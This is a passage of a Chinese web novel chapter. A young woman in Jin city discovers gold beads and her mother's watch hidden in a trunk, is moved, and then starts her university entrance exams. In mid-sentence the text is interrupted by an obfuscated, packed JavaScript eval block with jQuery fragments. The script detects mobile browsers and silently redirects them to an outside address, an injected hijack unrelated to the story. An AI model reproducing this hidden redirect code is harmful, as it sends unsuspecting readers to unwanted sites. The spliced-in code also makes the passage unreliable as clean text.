“很棒。”
见她提笔写了一个弓长张,柳知行仔细地看了看,表扬道。
张小妹的眼睛亮亮的,她趴在书桌上争分夺秒的练习了起来,两个小时,她能学会二十个字呢,而这次,太太再也不会马上就喊她下去了。
“柳小姐,我都认识一百个字啦。在我们村里也是文化人啦。”
“吴小姐,等明天我休假回家给你们带炸果子吃。”
“我爹娘在西市那里支了早餐摊子。”
“柳小姐,我可能干了,我一个月能挣两块钱,我爹娘也能挣钱,等挣够了钱,我爹就回老家买地去,我们就不愁吃喝了。”
“到时候喊你们去我们村子里面玩,我们山上还有猴子呢。”张小妹边写字边满是憧憬地絮絮叨叨着。
“对了”
她忽然想起了什么,抬起头说道。
“王妈说,这红疙瘩能用灶心土治。”
“灶心土?”
趴在窗户边,感受着习习微风的柳知行好奇回头,连一旁写着东西的吴瑞琳也竖起了耳朵。
柳知行身上的红疙瘩已经在她身上盘桓两个月了,抹的、吃的她都试了个遍,却只能减轻不能根除。
好在药还是有些用的,红肿消退了一些,柳知行渐渐地就习惯了。
“灶心土就是家乡灶房里烧过的土。”张小妹说道。
“那是取不过来了。”
吴瑞琳摇摇头,现在谁能回洛城苏宅去装一瓶土回来。
“而且听着也很不科学。”吃土,她耸了耸肩,很是怀疑这个说法。
柳知行若有所思,她低头看向里弄里,阳光下坐着余庆里的牌坊下坐着几位拉呱的小老太太,一旁穿着吊带裤的小孩用鞭子抽着陀螺,房东钱文秀站在门厅口,指挥着师傅们在后院搭着葡萄架子,一派怡然自得。
听着耳边那不熟悉的津市话,柳知行微微一笑。
家乡啊。
夜里,柳知行从架子床下拉出了小皮箱子,随着她将里面的值钱东西一一取出后,这个箱子已经很久没打开过了。
她打开皮扣,将盖子掀开,上面有八九个白玉小药瓶整整齐齐的缝在小皮箱的内衬上,瓶子上贴着各色药名和药效。
这是她离家之前特意准备的。之前柳知行已经看过一遍药帖,确认上面没有治疗这种奇怪红疙瘩的药。
今晚她忽然却想再看一遍,或许是在她将皮箱里面的衣物和零碎物品都死当了之后,这几支小药瓶就是她唯一从洛州带出来的东西了。
“苏合香丸、二仙丸、九宝丹……”
“万灵丹”念到最后一个名字,柳知行的声音有点犹疑。
她看了看上面贴着的药到病除的疗效,字体清瘦规整,让柳知行不由得想起了那个小小少年,想起他制药时的样子,想起他说的话。
“我支持你。”
“也相信你。”程宴生的话简短而有力,因着变声期的到来,还带着一丝沙哑。
柳知行的心里涌起了一股暖意。
“小弟这么给力,老大是不能掉链子的。”
她低声说道。程宴生是世交家的孩子,杏林世家,家中还有一块传了几百年的“正意堂”牌匾,所以她偷偷拜托他帮自己制作了一批能够随身携带的丸药以备不时之需。
“万灵丹”
柳知行想了想,打开瓶子,倒出其中一粒乳白色的蜡丸,她透过绿色玻璃台灯映出的光看了看,里面有一块黑乎乎的圆形影子在里面晃动,手感很重。
“不对症,但好像也对症,毕竟万灵嘛,阿生这小子从来不做没把握的事的。”
柳知行犹豫了一下,捏开了蜡丸。
一抹橙黄橙黄的光彩从她的指尖滑了下来,掉在了蓬松柔软的棉花枕头上。
柳知行愣愣地看着那抹橙黄,良久轻笑出声,渐渐变成了哈哈大笑。
“原来是这么个万能,可不就是万能嘛。”
恍惚之间,她似乎又回到了听风居的棋盘前,看到了对面程宴生垂着眼,嘴边平静又狡黠的笑意。
柳知行将瓶子里的蜡丸都一一捏开,攒出了大半瓶橙灿灿的金豆子,分量很是不轻。
“阿生估计把自己所有的私房钱都塞进来了。”她垂下眼,有些心疼。
程家自然是不缺钱的,但程宴生自幼父母双亡,跟着爷爷程老堂主生活,程老堂主又觉得是他害死了父母,虽然教他医术,却也待他很不亲近。
程宴生吃喝不愁,但手中的钱却不多,大部分都是出诊换来的。
“真是个傻小弟。”
柳知行摇摇头,将金豆子收好,打定主意,这些不能花,等哪一天回到洛城,要将这瓶金豆子再还回去。
老大怎么能用小弟的钱呢?
只是准备装回去时,柳知行犯了难,二千多块法币虽然多,但因着是纸币,卷起来其实也不过是小小一捆,吴瑞琳教她放在衣服的暗袋里,贴身携带,但这瓶金豆子放暗袋和原来的位置似乎总有些不妥。
对了,收拾行李时,阿春好像说过,这个皮箱子里有一个薄薄的暗层。
柳知行拍拍脑袋,将手伸到皮箱子的内衬里面,仔细摸索,终于在指尖找到了一丝用扣缝住的空隙。
她嘿嘿一笑,用力地向里面探索着,却不期然摸到了一片冰冷的光滑。
“咦,里面有东西吗?”
柳知行很是疑惑,有点像是宝石的质感,难道在她不知道的时候,阿春还在里面塞首饰了。
她兴冲冲的将“宝石”抽了出来,然后愣住了。
蓝褐色的月亮和太阳交相辉映,在冰蓝色的表面上闪耀着莹白的光芒,璀璨的钻石细密地镶嵌在表盘的边缘。
柳知行呆呆地伸手拨弄了一下侧边的旋钮,这块精美绝伦的手表立刻发出了叮叮咚咚的报时声,清脆入耳。
她轻轻抚摸着刻在表盘背面的名字,想起了两年前她在沪市,知道自己要订婚的那天上午。
终于明白了临走时德兰修女那句欲言又止的话。
“我们所有人都会祝福你的。”
“所有人。”
“妈妈”
柳知行无声地呼唤道。
箱子的暗袋里放着的这只手表,正是那块独一无
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407097|200573||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
二为了订婚从国外订购而来的三问表。
价值两千英镑,换算成法币,是两万多块钱。
一张纸条松松地附在冰蓝色的表面上。
“为你,只是为你。”
柳佩珊的笔迹苍劲有力,柳知行久久不能回神,她攥紧了那张薄薄的纸条,只觉得浑身上下猛然一松,像放下了一块沉重的巨石。
那日,她没能和母亲好好道别。
但也许,她并没有离开,一直住在母亲的心里。
无言的摩挲了一会,直到那冰冷也变得温暖,她将手抽了出来,用力地捂住了眼睛。
“妈妈,谢谢你。”
“妈妈,我爱你。”
似乎感觉到有温暖的双臂轻轻的抱住了她,像她还是个孩子的时候一样将她围在怀中摇晃着,于是缭绕在柳知行肩头的最后一丝负累也被暖暖的微风吹开。
第二天一早,吴瑞琳惊喜地发现柳知行身上那成片的红疙瘩终于消失不见了。
“真是太好了,看来药还是有效的。”
吴瑞琳长出一口气,放下心来。
柳知行笑得轻松,她不自觉地摸了摸手腕,虽然那块昂贵的手表不能带在身上,但那温暖包容的触感却一直缭绕在她心上,给予她力量。
很快就到了农历五月底,为期二十几天的考试季正式开始,柳知行挑挑拣拣报考了五所大学,基本上隔两三天就要考一场,马不停蹄在津市各个考点赶场。
吴瑞琳内心忐忑。
“放心吧,五所呢,我肯定会有学上的。”
柳知行信心满满地安慰吴瑞琳,只是想起报名费,不由得有些肉痛,一所大学的报名费就要十几块钱。
“知道你肯定能考上大学,这不是担心你考不上明华嘛?”
吴瑞琳有些幽怨地看了柳知行一眼,是谁一直心心念念要去的。
“如果拼尽全力考不上,那也没有办法。”马上要走进考场了,柳知行只能让自己淡然了一些,她已经拼尽全力,余下只能看天意了。
其实辅导学校的李校长倒是信心十足,柳知行已经蝉联几次模拟考试的第一名了。
可柳知行参加完去年的会考后,连成绩都还不知道就被父亲软禁到了家中,明令她不能接触学校里的人人物物。
所以她满打满算只在津市复习了三个月,因此还是摸不太准,毕竟辅导学校里只有五六十个人,但明华大学的考试可是要和大几千个尖子生一起竞争。
最终只录取二百出头。
“一步一步走吧”
她轻声说道,将钱文秀特意从状元楼买回来的定胜糕塞进嘴里,在吴瑞琳的挥手下走进了考场。
“滴答”
“滴答”
时针一步步地转动着,明华大学的津市分考场上,祝余音在里面慢慢地踱着步监考。
她两年前从明华大学的物理系毕业后,便留在系里担任助教,此次被派到津市来协助教授负责招生事宜。
看着下面朝气蓬勃的面容,祝余音微微一笑,不由得想起自己六年前入校时的样子,青涩又懵懂,还天不怕地不怕。